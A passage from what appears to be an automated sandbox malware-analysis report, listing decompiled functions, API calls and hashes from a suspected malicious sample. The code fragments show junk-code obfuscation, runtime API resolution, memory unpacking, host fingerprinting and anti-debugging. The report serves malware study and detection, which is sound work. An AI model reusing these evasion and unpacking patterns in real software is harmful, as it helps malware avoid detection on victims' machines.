Part of subcall function 002302B2: GetProcAddress.KERNELBASE(?,VirtualFree), ref: 00230358
Part of subcall function 002302B2: GetProcAddress.KERNELBASE(?,ExitThread), ref: 00230376
Part of subcall function 002302B2: GetProcAddress.KERNELBASE(?,RegOpenKeyExA), ref: 00230394
Part of subcall function 002302B2: GetProcAddress.KERNELBASE(?,RegQueryValueExA), ref: 002303B2
Part of subcall function 002302B2: GetProcAddress.KERNELBASE(?,RegCloseKey), ref: 002303D0
Part of subcall function 002302B2: GetProcAddress.KERNELBASE(?,GetSystemWindowsDirectoryA), ref: 002303EE
Part of subcall function 002302B2: GetProcAddress.KERNELBASE(?,GetVolumeInformationA), ref: 0023040C
Part of subcall function 002302B2: GetProcAddress.KERNELBASE(?,GetUserNameA), ref: 0023042A
Part of subcall function 002302B2: GetProcAddress.KERNELBASE(?,CharUpperBuffA), ref: 00230448

GetModuleHandleExW.KERNEL32(00000004,?,?), ref: 0023002D
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004), ref: 0023005B
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004), ref: 002300B2
VirtualFree.KERNELBASE(?,00000000,00008000,?,?), ref: 002300D8
VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 002300FE
VirtualProtect.KERNELBASE(?,?,00000002,?,?,?,00000000,?), ref: 00230139
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?), ref: 0023017D

Part of subcall function 0023020E: LoadLibraryA.KERNEL32(?), ref: 0023022E
Part of subcall function 0023020E: GetProcAddress.KERNELBASE(?,?), ref: 00230269

Memory Dump Source

Source File: 00000000.00000002.791026404.0000000000230000.00000040.sdmp, Offset: 00230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_8UT1RfjZ0z.jbxd

Similarity

API ID: AddressProc$Virtual$LibraryLoad$AllocFreeProtect$ExitHandleModuleThreadUser
String ID:
API String ID: 1533569701-0
Opcode ID: b81c9d3017090208cde3a13db94e1ecbc3435a1b75a44eedc734655a3b686f9d
Instruction ID: 9f54e96beaa3a8eb0e31d1cf6c6a32042fe8c69ae459c9fbcb994628c047fecb
Opcode Fuzzy Hash: b81c9d3017090208cde3a13db94e1ecbc3435a1b75a44eedc734655a3b686f9d
Instruction Fuzzy Hash: 4451FD75A1110AAFDF10DF94CD95BAEBBB1BF44300F144560EA48AB256D770EE60DF60

Function 002306A0, Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 23registry

APIs

RegQueryValueExA.KERNEL32(00000000,0023068E,00000000,00000007,?,00000400,?,?,00230000), ref: 002306A6
RegCloseKey.ADVAPI32(00000000,?,?,00230000), ref: 002306E7

Strings

M, xrefs: 002306C2
U, xrefs: 002306CB
Q, xrefs: 002306B0
E, xrefs: 002306B9

Memory Dump Source

Source File: 00000000.00000002.791026404.0000000000230000.00000040.sdmp, Offset: 00230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_8UT1RfjZ0z.jbxd

Similarity

API ID: CloseQueryValue
String ID: E$M$Q$U
API String ID: 3356406503-533096011
Opcode ID: 399a2fa3b3b9261ca619fe2ca4df7f48219a4161c115dca232776e8cba6c043c
Instruction ID: 8a31aa0134799d4771864d14cca5ffa73db318a43ad692b0444f69f15883789f
Opcode Fuzzy Hash: 399a2fa3b3b9261ca619fe2ca4df7f48219a4161c115dca232776e8cba6c043c
Instruction Fuzzy Hash: BCF0F8B19251A98BDF628A368C9D3D8BBA45B5131AF0450E7C358740A6D3B84FF4CF28

Function 004152D0, Relevance: 9.1, APIs: 6, Instructions: 75filememorysleep

APIs

CreateFileW.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00415312
ReadFile.KERNELBASE(00000000,?,00000200,?,00000000), ref: 0041533B
CloseHandle.KERNEL32(00000000), ref: 0041536D

Part of subcall function 00402FE0: CreateFileW.KERNELBASE(FFFFFFFF,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00403025
Part of subcall function 00402FE0: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040303F
Part of subcall function 00402FE0: GetProcessHeap.KERNEL32(00000008,-00000002), ref: 00403060
Part of subcall function 00402FE0: RtlAllocateHeap.NTDLL(00000000), ref: 00403067
Part of subcall function 00402FE0: ReadFile.KERNELBASE(000000FF,00000000,00000000,?,00000000), ref: 0040308A
Part of subcall function 00402FE0: GetLastError.KERNEL32 ref: 004030D7
Part of subcall function 00402FE0: CloseHandle.KERNEL32(000000FF), ref: 004030EA
Part of subcall function 00402FE0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00403102
Part of subcall function 00402FE0: HeapFree.KERNEL32(00000000), ref: 00403109
Part of subcall function 00402FE0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040311B
Part of subcall function 00402FE0: HeapFree.KERNEL32(00000000), ref: 00403122

GetProcessHeap.KERNEL32(00000000,00000000), ref: 004153AA
HeapFree.KERNEL32(00000000), ref: 004153B1
Sleep.KERNEL32(00001388), ref: 004153BE

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$File$Process$Free$CloseCreateHandleRead$AllocateErrorLastSizeSleep
String ID:
API String ID: 517883717-0
Opcode ID: e279cae4f7e6ccc7ac83ea21eae93b6e1c7987dbb823c0c8fd7c7ef85208a7a8
Instruction ID: 6bf8b8af47cfb2b635fc7adff0d86daf69edee5693464fba7e611c224397c3a0
Opcode Fuzzy Hash: e279cae4f7e6ccc7ac83ea21eae93b6e1c7987dbb823c0c8fd7c7ef85208a7a8
Instruction Fuzzy Hash: 23215C75A80308FFEB10DB90DC49BEE7774AB88744F50856AB915A72C0D7B89A80CF59

Function 00424B80, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 133

C-Code - Quality: 95%

			E00424B80(signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v24;
				intOrPtr _v28;
				signed int _v32;
				signed int* _v36;
				intOrPtr* _v40;
				char _v44;
				intOrPtr* _v48;
				signed int* _v52;
				char _v56;
				intOrPtr* _v60;
				intOrPtr* _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				struct _OSVERSIONINFOA _v228;
				signed int _v232;
				signed int _v236;
				CHAR* _t107;

				_v12 = 0x61be;
				if(_v12 > _v12) {
					_v8 = 0x8d;
					_a4 = 0xfee08221;
					_v36 =  &_a4;
					_v12 = (_v8 - ( *_v36 | _v12)) * _v12;
					if(_v12 < 0x8d6b) {
						_v56 = 0x9e80;
						_v48 =  &_v56;
						_v8 =  *_v48;
						_v64 =  &_v8;
						_v60 =  &_a4;
						_a4 = ( *_v64 +  *_v60) * _a4;
						_v68 = 0x2cba;
						_v52 =  &_v12;
						_t107 = _v52;
						_a4 = ( *_t107 + _v68) * _a4;
					} else {
						_v44 = 0xa4;
						_v16 = 0x59;
						_v40 =  &_v44;
						_t107 = _v16 & 0x00000031;
						_v12 =  *_v40 - _t107 + _v12;
					}
					L9:
					_v72 = 0;
					while(_v72 < 1) {
						_a4 = 0xf45e8dce;
						if(_a4 < 0xb9f0) {
							_v232 = 0xf353e4f9;
							_v76 = 0xf9a2;
							asm("cdq");
							_v236 = _v232 / (_v76 + 1);
							GetVersionExA( &_v228); // executed
							_v16 = 0x66;
							_t107 = _v16 * _v236 + _v12;
							_v12 = _t107;
						} else {
							_v8 = 0xf1cca7a9;
							_v16 = 0xf72ed99d;
							_t107 = (_v8 & _v16) * _v12 * _v8;
							_v8 = _t107;
						}
						_v72 = _v72 + 1;
					}
					_v16 = 0xf074867d;
					if(_v16 != 0xf3e20661) {
						_v8 = 0xf1c472bd;
						_v12 = _v12 - _v8 * _v8;
						return _t107;
					}
					return GetTickCount();
				}
				_v28 = 0;
				while(_v28 < 5) {
					_v16 = 0xfe31d0c4;
					_v24 = _v16 + _v16;
					_v8 = 0xef;
					_a4 = 0x5b;
					asm("cdq");
					_v32 = (_v24 | _a4) / (_v8 + 1);
					_v12 = _v12 - _v32 + _v24;
					_v28 = _v28 + 1;
				}
				_t107 = GetCommandLineA(); // executed
				goto L9;
			}

0x00424b89
0x00424b96
0x00424bfb
0x00424c02
0x00424c0c
0x00424c20
0x00424c2a
0x00424c55
0x00424c5f
0x00424c67
0x00424c6d
0x00424c73
0x00424c84
0x00424c87
0x00424c91
0x00424c94
0x00424ca0
0x00424c2c
0x00424c2c
0x00424c33
0x00424c3d
0x00424c43
0x00424c50
0x00424c50
0x00424ca3
0x00424ca3
0x00424cb5
0x00424cbf
0x00424ccd
0x00424cf0
0x00424cfa
0x00424d0d
0x00424d10
0x00424d1d
0x00424d23
0x00424d34
0x00424d37
0x00424ccf
0x00424ccf
0x00424cd6
0x00424ce7
0x00424ceb
0x00424ceb
0x00424cb2
0x00424cb2
0x00424d3f
0x00424d4d
0x00424d57
0x00424d6a
0x00000000
0x00424d6a
0x00000000
0x00424d4f
0x00424b98
0x00424baa
0x00424bb0
0x00424bbd
0x00424bc0
0x00424bc7
0x00424bda
0x00424bdd
0x00424beb
0x00424ba7
0x00424ba7
0x00424bf0
0x00000000

APIs

GetCommandLineA.KERNELBASE ref: 00424BF0
GetVersionExA.KERNELBASE(?), ref: 00424D1D
GetTickCount.KERNEL32 ref: 00424D4F

Strings

[, xrefs: 00424BC7
f, xrefs: 00424D23

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: CommandCountLineTickVersion
String ID: [$f
API String ID: 2639120985-3398516104
Opcode ID: 923a286c32cdf4637d418ca2f469fc57abab419791f982784fb473a26013cf44
Instruction ID: 98d211b6acedc730f243e02e804ea6481749887a69efc3e101a4a7661f631511
Opcode Fuzzy Hash: 923a286c32cdf4637d418ca2f469fc57abab419791f982784fb473a26013cf44
Instruction Fuzzy Hash: BD61C074E01218EFCB18CF99D584ADDBBB1FF88304F20819AD845AB350D774AA86DF94

Function 00411020, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57libraryloader

APIs

GetModuleHandleA.KERNELBASE(kernel32.dll,GetNativeSystemInfo), ref: 004110B2
GetProcAddress.KERNELBASE(00000000), ref: 004110B9
GetNativeSystemInfo.KERNEL32(?), ref: 004110CC

Strings

GetNativeSystemInfo, xrefs: 004110AA, 004110AD
kernel32.dll, xrefs: 004110AE, 004110B1

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: AddressHandleInfoModuleNativeProcSystem
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 3469989633-192647395
Opcode ID: af3a3852c07762bb5cc5d3dc9bf4bf3dd86ddf26df3aec9ee8bd4997d3832fa9
Instruction ID: 403e2526a9f7121bbd234e5b259df9a2891b870bbf980ee9cce53a37ba2a2427
Opcode Fuzzy Hash: af3a3852c07762bb5cc5d3dc9bf4bf3dd86ddf26df3aec9ee8bd4997d3832fa9
Instruction Fuzzy Hash: 26319820D083C9D9EB02C7E8C5487EEBFB55B26748F084089C5843A292C7FF0658C7BA

Function 00425240, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
libraryloader

C-Code - Quality: 68%

			E00425240() {
				intOrPtr* _v8;
				signed int _v12;
				struct HINSTANCE__* _v16;
				signed int _v20;
				_Unknown_base(*)()* _v24;
				_Unknown_base(*)()* _t22;

				_v12 = 0xb6;
				_v12 = _v12 * _v12 + _v12;
				_v16 = LoadLibraryW(L"user32.dll");
				_v20 = 0xf82b4c26;
				_v8 =  &_v20;
				_v20 = (_v20 | 0x00002ca3) -  *_v8 + _v20;
				_t22 = GetProcAddress(_v16, "SetMenuItemInfoW"); // executed
				_v24 = _t22;
				_v24(0xffffffff, 0, 0, 0);
				return GetLastError();
			}

0x00425246
0x00425257
0x00425265
0x00425268
0x00425272
0x00425286
0x00425292
0x00425298
0x004252a3
0x004252af

APIs

LoadLibraryW.KERNEL32(user32.dll), ref: 0042525F
GetProcAddress.KERNELBASE(?,SetMenuItemInfoW), ref: 00425292
GetLastError.KERNEL32 ref: 004252A6

Strings

SetMenuItemInfoW, xrefs: 00425289
user32.dll, xrefs: 0042525A

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: AddressErrorLastLibraryLoadProc
String ID: SetMenuItemInfoW$user32.dll
API String ID: 3511525774-2001804403
Opcode ID: 2c7bb767188aaf89c484030919adddb7a64ec12ddcd22d07cab4265e09bba7c8
Instruction ID: 9970c8831c2a3f5958985b8f3506089348876ac4615b56ead5c1f597010d27de
Opcode Fuzzy Hash: 2c7bb767188aaf89c484030919adddb7a64ec12ddcd22d07cab4265e09bba7c8
Instruction Fuzzy Hash: 9901E874D00209EFDB04DFE8DD46BAEBBB0FB44701F204695E921A7380D7B06A00CB95

Function 004296E6, Relevance: 7.6, APIs: 5, Instructions: 52
timethread

C-Code - Quality: 100%

			E004296E6() {
				struct _FILETIME _v12;
				signed int _v16;
				union _LARGE_INTEGER _v20;
				signed int _t14;
				signed int _t16;
				signed int _t17;
				signed int _t18;
				signed int _t22;
				signed int _t24;
				signed int _t33;

				_t14 =  *0x43edf8; // 0xbb40e64e
				_v12.dwLowDateTime = _v12.dwLowDateTime & 0x00000000;
				_v12.dwHighDateTime = _v12.dwHighDateTime & 0x00000000;
				if(_t14 == 0xbb40e64e || (0xffff0000 & _t14) == 0) {
					GetSystemTimeAsFileTime( &_v12); // executed
					_t16 = GetCurrentProcessId();
					_t17 = GetCurrentThreadId();
					_t18 = GetTickCount(); // executed
					QueryPerformanceCounter( &_v20); // executed
					_t22 = _v16 ^ _v20.LowPart;
					_t33 = _v12.dwHighDateTime ^ _v12.dwLowDateTime ^ _t16 ^ _t17 ^ _t18 ^ _t22;
					if(_t33 != 0xbb40e64e) {
						if((0xffff0000 & _t33) == 0) {
							_t22 = _t33 << 0x10;
							_t33 = _t33 | _t22;
						}
					} else {
						_t33 = 0xbb40e64f;
					}
					 *0x43edf8 = _t33;
					 *0x43edfc =  !_t33;
					return _t22;
				} else {
					_t24 =  !_t14;
					 *0x43edfc = _t24;
					return _t24;
				}
			}

0x004296ec
0x004296f1
0x004296f5
0x00429707
0x0042971b
0x00429727
0x0042972f
0x00429737
0x00429743
0x0042974c
0x0042974f
0x00429753
0x0042975e
0x00429762
0x00429765
0x00429765
0x00429755
0x00429755
0x00429755
0x00429767
0x0042976f
0x00000000
0x0042970d
0x0042970d
0x0042970f
0x00000000
0x0042970f

APIs

GetSystemTimeAsFileTime.KERNELBASE(00000000), ref: 0042971B
GetCurrentProcessId.KERNEL32 ref: 00429727
GetCurrentThreadId.KERNEL32 ref: 0042972F
GetTickCount.KERNELBASE ref: 00429737
RtlQueryPerformanceCounter.NTDLL(?), ref: 00429743

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 37d2c8df409e14b228e1d201235d931f740c6561a8e7dc9ed0d865a26a171d14
Instruction ID: be7f76b5d0c7cd995a79e7532fe63871b374fc9818349fc7e8e173dec902d2ed
Opcode Fuzzy Hash: 37d2c8df409e14b228e1d201235d931f740c6561a8e7dc9ed0d865a26a171d14
Instruction Fuzzy Hash: 95118E76E002359BDB109FB9E84869AB7F8EF48391F921462D812E7250D6749D418B88

Function 0042A602, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51
libraryloader

C-Code - Quality: 53%

			E0042A602(intOrPtr __ebx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t16;
				struct HINSTANCE__* _t18;
				_Unknown_base(*)()* _t19;
				intOrPtr _t23;
				_Unknown_base(*)()* _t29;
				void* _t30;

				_push(0x14);
				_push(0x43ae50);
				E004294C4(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t30 - 0x1c)) = 0;
				_t29 = E00428E23( *0x43f64c);
				if(_t29 == 0) {
					_t16 = E00427EC2(__ebx, __edx, 0, _t30 - 0x1c);
					_pop(_t23);
					_t35 = _t16;
					if(_t16 != 0) {
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						E00429943(__ebx, _t23, __edx, 0, _t35);
					}
					if( *((intOrPtr*)(_t30 - 0x1c)) == 1) {
						L6:
						_t29 = 0x42a5f2;
					} else {
						_t18 = GetModuleHandleA("kernel32.dll"); // executed
						if(_t18 == 0) {
							goto L6;
						} else {
							_t19 = GetProcAddress(_t18, "InitializeCriticalSectionAndSpinCount"); // executed
							_t29 = _t19;
							if(_t29 == 0) {
								goto L6;
							}
						}
					}
					 *0x43f64c = E00428DB7(_t29);
				}
				 *((intOrPtr*)(_t30 - 4)) = 0;
				 *((intOrPtr*)(_t30 - 0x20)) =  *_t29( *((intOrPtr*)(_t30 + 8)),  *((intOrPtr*)(_t30 + 0xc)));
				 *((intOrPtr*)(_t30 - 4)) = 0xfffffffe;
				return E00429509( *((intOrPtr*)(_t30 - 0x20)));
			}

0x0042a602
0x0042a604
0x0042a609
0x0042a610
0x0042a61f
0x0042a623
0x0042a629
0x0042a62e
0x0042a62f
0x0042a631
0x0042a633
0x0042a634
0x0042a635
0x0042a636
0x0042a637
0x0042a638
0x0042a63d
0x0042a644
0x0042a667
0x0042a667
0x0042a646
0x0042a64b
0x0042a653
0x00000000
0x0042a655
0x0042a65b
0x0042a661
0x0042a665
0x00000000
0x00000000
0x0042a665
0x0042a653
0x0042a673
0x0042a673
0x0042a678
0x0042a683
0x0042a6b7
0x0042a6c6

APIs

Part of subcall function 00428E23: TlsGetValue.KERNEL32 ref: 00428E30
Part of subcall function 00428E23: TlsGetValue.KERNEL32 ref: 00428E47
Part of subcall function 00428E23: GetModuleHandleA.KERNELBASE(KERNEL32.DLL,?,00428EC5,?,?,0042849C), ref: 00428E5C
Part of subcall function 00428E23: GetProcAddress.KERNELBASE(00000000,DecodePointer,?,00428EC5,?,?,0042849C), ref: 00428E6C
Part of subcall function 00428E23: RtlDecodePointer.NTDLL(?,?,00428EC5,?,?,0042849C), ref: 00428E7A

GetModuleHandleA.KERNELBASE(kernel32.dll,00000014,004298C2,00000000,00000FA0,0043AD50,0000000C,00429921,?,?,?,0042F055,00000004,0043AFA8,0000000C,0042B610), ref: 0042A64B
GetProcAddress.KERNELBASE(00000000,InitializeCriticalSectionAndSpinCount,?,0042F055,00000004,0043AFA8,0000000C,0042B610,?,?,00000000,00000000,00000000,00429013,00000001,00000214), ref: 0042A65B

Part of subcall function 00428DB7: TlsGetValue.KERNEL32 ref: 00428DC4
Part of subcall function 00428DB7: TlsGetValue.KERNEL32 ref: 00428DDB
Part of subcall function 00428DB7: GetModuleHandleA.KERNELBASE(KERNEL32.DLL,?,?,?,0043F098,004283C7,0043F098,Microsoft Visual C++ Runtime Library,00012010), ref: 00428DF0
Part of subcall function 00428DB7: GetProcAddress.KERNELBASE(00000000,EncodePointer,?,?,?,0043F098,004283C7,0043F098,Microsoft Visual C++ Runtime Library,00012010), ref: 00428E00
Part of subcall function 00428DB7: RtlEncodePointer.NTDLL(?,?,?,?,0043F098,004283C7,0043F098,Microsoft Visual C++ Runtime Library,00012010), ref: 00428E0E

Part of subcall function 00429943: IsDebuggerPresent.KERNEL32 ref: 004299ED
Part of subcall function 00429943: SetUnhandledExceptionFilter.KERNEL32 ref: 004299F7
Part of subcall function 00429943: UnhandledExceptionFilter.KERNEL32(?), ref: 00429A01
Part of subcall function 00429943: GetCurrentProcess.KERNEL32(C000000D), ref: 00429A1C
Part of subcall function 00429943: TerminateProcess.KERNEL32(00000000), ref: 00429A23

Strings

kernel32.dll, xrefs: 0042A646
InitializeCriticalSectionAndSpinCount, xrefs: 0042A655

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Value$AddressHandleModuleProc$ExceptionFilterPointerProcessUnhandled$CurrentDebuggerDecodeEncodePresentTerminate
String ID: InitializeCriticalSectionAndSpinCount$kernel32.dll
API String ID: 3978095639-3733552308
Opcode ID: 14984f84724564e586672199d6c2bcb24e665ed4f675fcc3ca749ad74ac5004b
Instruction ID: ae30c1dbf45824231d176ba8aeb54092a336508380dc140ccbf9be48b8008e85
Opcode Fuzzy Hash: 14984f84724564e586672199d6c2bcb24e665ed4f675fcc3ca749ad74ac5004b
Instruction Fuzzy Hash: CA01F171F00134ABCB21BF69BC0699E7670AF88710FA8412BF854E2360DB7D4D51CA9E

Function 00412360, Relevance: 6.1, APIs: 4, Instructions: 63memoryregistry

APIs

RegQueryValueExW.KERNEL32(?,80000001,00000000,00000003,00000000,00000000), ref: 004123A1
GetProcessHeap.KERNEL32(00000008,00000000), ref: 004123B6
HeapAlloc.KERNEL32(00000000), ref: 004123BD
RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000003,00000000,00000000), ref: 004123E2

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: HeapQueryValue$AllocProcess
String ID:
API String ID: 174754664-0
Opcode ID: 04a0923fcbc1ebcab1ff647f4cfbd8b3dfd89282ffb031938cce0ac351cbdc11
Instruction ID: a4fc4e1e98a0c713868ec05da9c47557c27a88c8bdb671b2e9e6d9ec1776abab
Opcode Fuzzy Hash: 04a0923fcbc1ebcab1ff647f4cfbd8b3dfd89282ffb031938cce0ac351cbdc11
Instruction Fuzzy Hash: 0921EDB5900218EFDB00CF94C994BEFBBB4FB48304F108559E905AB380C7B55A94CFA5

Function 002306F6, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36

APIs

GetSystemWindowsDirectoryA.KERNEL32(?,00000400), ref: 00230712
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000007,00000000,00000000,00000000,00000000), ref: 0023073A

Strings

jjjj, xrefs: 00230723

Memory Dump Source

Source File: 00000000.00000002.791026404.0000000000230000.00000040.sdmp, Offset: 00230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_8UT1RfjZ0z.jbxd

Similarity

API ID: DirectoryInformationSystemVolumeWindows
String ID: jjjj
API String ID: 2143599773-48926182
Opcode ID: 005014d6e162e0d3011bd938089d973024a2ccc2971dd61d09ba616b301d11f3
Instruction ID: cbe4bfebf873643d61065600db9b7bfac05d653a98d46c82d8ad8c6df1cf7ade
Opcode Fuzzy Hash: 005014d6e162e0d3011bd938089d973024a2ccc2971dd61d09ba616b301d11f3
Instruction Fuzzy Hash: 3DF096B5650258B9EF2096948D49FDDBABC9B00745F2400E5A744FA0C1D7F4AA44CB79

Function 0040E910, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 9sleep

APIs

Sleep.KERNELBASE(0000C350), ref: 0040E918
OutputDebugStringA.KERNELBASE(OGG 0), ref: 0040E923

Strings

OGG 0, xrefs: 0040E91E

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: DebugOutputSleepString
String ID: OGG 0
API String ID: 3443799106-3704280906
Opcode ID: 3eb3f3cbff09a641603a7e77b2a4bcf0623e1d4a46d33caf1dd4f3747183da3a
Instruction ID: 9fcbd74da238136a3569b317a11acdd51b3e09170fa63c280e910e85c3804665
Opcode Fuzzy Hash: 3eb3f3cbff09a641603a7e77b2a4bcf0623e1d4a46d33caf1dd4f3747183da3a
Instruction Fuzzy Hash: D8B09B711D4304B7610057E16C4DD957B5997197557408031F605C4151D951605059AE

Function 00404B10, Relevance: 4.5, APIs: 3, Instructions: 36registry

APIs

RegCreateKeyA.ADVAPI32(80000002,00000000,00000000), ref: 00404B2E
RegQueryValueExA.KERNEL32 ref: 00404B5B
RegCloseKey.ADVAPI32(00000000), ref: 00404B65

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: CloseCreateQueryValue
String ID:
API String ID: 4083198587-0
Opcode ID: 7df432b4672942d65e54af7f90e58ac6669371a7aad1d05c2361aff7f59521f4
Instruction ID: 45739751e5513196529d805aede589b1c37ce265e4592f3a73b6269c983587d0
Opcode Fuzzy Hash: 7df432b4672942d65e54af7f90e58ac6669371a7aad1d05c2361aff7f59521f4
Instruction Fuzzy Hash: CD011D79904208BFDB00DFD4CC84BEEBFB8AB48304F008199E915A7241D775A644CBA1

Function 0041B410, Relevance: 4.5, APIs: 3, Instructions: 34network

APIs

WSAStartup.WS2_32(?,?), ref: 0041B42E
WSACleanup.WS2_32 ref: 0041B469
timeBeginPeriod.WINMM(00000001), ref: 0041B476

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: BeginCleanupPeriodStartuptime
String ID:
API String ID: 1671224968-0
Opcode ID: 13ea8bc95054a759a2d1e5ad9899cea916ed157c81c50a3f55e6f2221dc3408a
Instruction ID: 73fd3037c235fc33273e371ae9932db1993b82c502910d1fed65cca0fb60ebbc
Opcode Fuzzy Hash: 13ea8bc95054a759a2d1e5ad9899cea916ed157c81c50a3f55e6f2221dc3408a
Instruction Fuzzy Hash: 99F02430984034D3D7305BA99D517F873A9EF00711F00C3A3B494C52D1D73C89C0E6A9

Function 00406920, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44

APIs

WinHttpCrackUrl.WINHTTP(00000002,004069FE,00000000,0000003C,00000000), ref: 00406984

Strings

<, xrefs: 00406933

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: CrackHttp
String ID: <
API String ID: 3022961896-4251816714
Opcode ID: 6b1519c5cc49902766f2301d6715f18384e76fd355bb9d65dad9df1fe35e4920
Instruction ID: 44025d7e0d3f343922eb7e4bd9fa7b667f6399664e047e2f311381ad45974373
Opcode Fuzzy Hash: 6b1519c5cc49902766f2301d6715f18384e76fd355bb9d65dad9df1fe35e4920
Instruction Fuzzy Hash: BB01E9B5E00208AFDF10DF98D881ADEBBB5FF88310F40C16AE915A7384D774AA55CB94

Function 0023020E, Relevance: 3.1, APIs: 2, Instructions: 51libraryloader

APIs

LoadLibraryA.KERNEL32(?), ref: 0023022E
GetProcAddress.KERNELBASE(?,?), ref: 00230269

Memory Dump Source

Source File: 00000000.00000002.791026404.0000000000230000.00000040.sdmp, Offset: 00230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_8UT1RfjZ0z.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 548b4bdf82f8cd39c4d5ac5d1f2e8333166c86f5a93e1cc51f8ad37fb786c2bc
Instruction ID: 77cb0028ebcf045b9efe27197b7ef56b39e82626ad6af8fffd79b52cb72c2c70
